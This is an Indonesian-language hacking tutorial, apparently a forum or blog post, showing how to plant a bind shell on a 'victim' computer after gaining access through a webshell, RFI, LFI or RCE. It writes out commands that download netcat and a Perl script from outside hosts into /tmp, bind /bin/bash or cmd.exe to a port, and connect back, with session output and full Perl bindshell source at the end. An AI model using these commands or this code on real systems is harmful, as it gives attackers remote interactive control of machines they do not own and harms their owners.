Bind Shell

chmood


Bindshell adalah membuka port (binding) pada komputer korban dengan mengikutkan service/aplikasi yang akan melayani koneksi yang di terima dari port yg di buka. Umumnya aplikasi yang di pakai adalah /bin/bash. Sehingga ketika terjadi koneksi ke port yg di buka, maka komputer korban akan menjalankan aplikasi /bin/bash dan meluncurkannya kepada attacker. Disebut bindshell karena bind di lakukan dengan memberikan service shell (/bin/bash). Dengan demikian, attacker yg melakukan koneksi ke port yg di bind tersebut, akan mendapatkan /bin/bash dari komputer korban. It is a interactive console.
[img=https://web.archive.org/web/20101028024414im_/http://Target/files/post/20106150628_nc.JPG]' />

Banyak metode untuk melakukan bindshell. Berikut beberapa contoh teknik melakukan bindshell dengan menggunakan netcat dan aplikasi perl.

[b]Bindshell dengan NetCat[/b]
Kita implementasikan komputer korban memiliki ip address 192.168.10.10 Sedangkan komputer kita, memiliki ip address 192.168.10.20 Banyak yang bertanya, bagaimana menjalankan command tersebut di komputer sasaran? Banyak cara, yang jelas kita harus mendapatkan akses ke komputer korban atau bisa menjalankan command ke komputer korban, misalnya kita punya webshell di komputer korban, atau ninja bayaran kita sudah siap sedia di komputer korban untuk menjalankan perintah kita. Intinya kita harus bisa mengirimkan perintah ke komputer korban, baik melalui rfi, webshell, lfi, rce, dll.

Langsung kita bind komputer sasaran kita. Pastinya file netcat (nc) harus ada di komputer yang akan kita bind. Jadi kita harus download dulu file nc ke komputer sasaran. Banyak command untuk download. Salah satunya adalah wget.
Binshell in action.

Masuk ke direktory yang writeable. Gak perlu lama-lama. Langsung masuk /tmp. Direktory ini udah tentu writeable.

cd /tmp


Dowload netcat

wget http://haking.tool/nc


Set permission executable pada nc

chmod 777 nc


Bindshell

./nc –v –l –p 4444 –e /bin/bash &


Sampai disini, kita telah melakukan bind ke port 4444 dengan srvice aplikasi /bin/bash. Tanda β€œ&” di belakang command akan membuat bind dijalankan secara background (daemon process).

Cara termudah untuk ngecek apakah bindport berhasil, lakukan telnet ke host sasaran pada port yg kita bind tadi. Bila anda mendapati pesan β€œconnected” or blank, menunjukkan anda sudah konek ke port yg kita bind. Dengan demikian, bind port yg kita lakukan berhasil.

Perlu di ingat, bahwa netcat adalah sekali konek. Ketika ada koneksi, setelah itu port tidak lagi terbuka, termasuk ketika ngecek dengen telnet. Untuk itu, lakukan sekali lagi kalau mau konek ke console.

Trus gimana cara melakukan remote conection pada komputer yg telah di bind? Pakai netcat. Tentunya harus punya netcat di komputer kita. Command untuk remote connect dengan netcat sangat simple.

nc –vv [ip host sasaran] [port]

D:\HACK>nc -vv 192.168.10.10 4444
Warning: lookup failed for 192.168.10.10: h_errno 11004: NO_DATA
[192.168.10.10] 4444 (?) open

_

Perhtikan pesan β€œopen” pada port. Itu menunjukkan kalau port terbuk. Cursor yang berpindah ke bawah (seperti blank tidak ada apa apa), itu bukan blank, tapi itu adalah console yang kamu dapatkan melalu bind port dengan netcat. Kita bisa langsung jalankan command-command disini.

D:\HACK>nc -vv 192.168.10.10 4444
Warning: lookup failed for 192.168.10.10: h_errno 11004: NO_DATA
[192.168.10.10] 4444 (?) open
id <<< command
uid=100(nobody) gid=101(nobody) groups=101(nobody) context=user_u:
pwd <<< command
/tmp
uname -a
Linux bajaj.mempreng.com 2.6.18-53.el5 #1 SMP Mon Nov 12 02:22:48 EST
2007 i686 i686 i386 GNU/Linux


Namun, bila beruntung kita akan mendapatkan tmpilan console dengan prompt console dari linux.

D:\HACK>nc -vv 192.168.10.10 4444
Warning: lookup failed for 192.168.10.10: h_errno 11004: NO_DATA
[192.168.10.10] 4444 (?) open

bash-3.2$ id
uid=100(nobody) gid=101(nobody) groups=101(nobody) context=user_u:
bash-3.2$ pwd
/var/lib/mysql
bash-3.2$ uname -a
Linux bajaj.mempreng.com 2.6.18-53.el5 #1 SMP Mon Nov 12 02:22:48 EST
2007 i686 i686 i386 GNU/Linux


Kalau komputer sasaran os nya adalah windows, kita bisa menambahkan option –d ketika ngebind. Option ini bisa mengirimkan aplikasi cmd.exe melalui telnet. Sehingga kita bisa menggunakan telnet untuk remote connection. Implementasi ip 192.168.10.30 ber-OS winduz.

nc –vlp 7777 –e cmd.exe –d


Now try connect using telnet.

D:\HACK> telnet 192.168.10.30 7777
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\Documents and Settings\Administrator> << console on remote host
C:\Documents and Settings\Administrator> ipconfig
Windows IP Configuration
Local Network Connection :
Connection-specific DNS Suffix . :
IP Address. . . . . . . . . . . . : 192.168.10.30 << ip sasaran
Subnet Mask . . . . . . . . . . . : 255.255.255.255
Default Gateway . . . . . . . . . : 192.168.10.100
C:\Documents and Settings\Administrator>


Perhatikan ketika kita jalankan command ipconfig, bukan ip kita yang terlihat, tapi ip sasaran. Ini karena kita memang berada di console sasaran. Sampai disini, kita sudah dapat console secara interaktif ke komputer sasaran kita, dimana kita bisa se-enaknya menjalankan command-commnd ke server secara interaktif. Untuk mengakhiri mode console, cukup tekan ctrl+c atau exit.

Bindshell.pl (Aplikasi perl khusus bindshell)
Cara lain untuk bindshell adalah menggunakan aplikasi perl. Aplikasi ini di tulis khusus untuk melakukan bindshell dengan menjalankan service /bin/bash. Kita tidak perlu lagi men-setting aplikasi apa yang akan di jalankan. Bindshell.pl cukup baik dan mudah, namun juga perlu aplikasi perl untuk menjalankanya. Jika user yang kita pakai tidak punya akses ke perl, bindshell.pl tidak bisa digunakan. Bagaimana mengecek apakah kita bisa jalankan perl? Cukup ketik perl –v. Langsung in action.

Seperti biasa, masuk direktory yg writeable atau langsung /tmp. Download bindshell.txt dari host kamu. Kok bindshell.txt, bukan bindshell.pl? iya, Cuma extensi. Hal ini menghindari error ketika mendownload. Jadi upload bindshell.pl dengan extensi .txt. terakhir, langsung bind gak pake lama.

Command bindshell nya: perl bindshell.txt [port]

cd /tmp
lwp-download http://hacking.tool/bindshell.txt
perl bindshell.txt 9898 &

Sip. Dari sini, kita udah bisa ngecek pakek telnet apakah konek or kagak. Bindshell.pl bersifat continue, jadi kita bisa berkali-kali konek dengan sekali ngebind, asalkan proses tidak di kill oleh admin.

Apa berikutnya? Jelas, remote connection to get remote interactive console. Tetep pake netcat.


D:\HACK>nc -vv 192.168.10.10 9898
Warning: lookup failed for 192.168.10.10: h_errno 11004: NO_DATA
[192.168.10.10] 9898 (?) open
bash: no job control in this shell
bash-3.2$ id
uid=100(mysql) gid=101(mysql) groups=101(mysql) context=user_u:
bash-3.2$ pwd
/tmp
bash-3.2$ uname -a
Linux bajaj.mempreng.com 2.6.18-53.el5 #1 SMP Mon Nov 12 02:22:48 EST
2007 i686 i686 i386 GNU/Linux




Berikut adalah code untuk bindshell (perl).


#!/usr/bin/perl
$SHELL="/bin/bash -i";
if (@ARGV < 1) { exit(1); }
$LISTEN_PORT=$ARGV[0];
use Socket;
$protocol=getprotobyname('tcp');
socket(S,&PF_INET,&SOCK_STREAM,$protocol) || die "Cant create socket\n";
setsockopt(S,SOL_SOCKET,SO_REUSEADDR,1);
bind(S,sockaddr_in($LISTEN_PORT,INADDR_ANY)) || die "Cant open port\n";
listen(S,3) || die "Cant listen port\n";
while(1)
{
accept(CONN,S);
if(!($pid=fork))
{
die "Cannot fork" if (!defined $pid);
open STDIN,"<&CONN";
open STDOUT,">&CONN";
open STDERR,">&CONN";
exec $SHELL || die print CONN "Cant execute $SHELL\n";
close CONN;
exit 0;
}
}

Komentar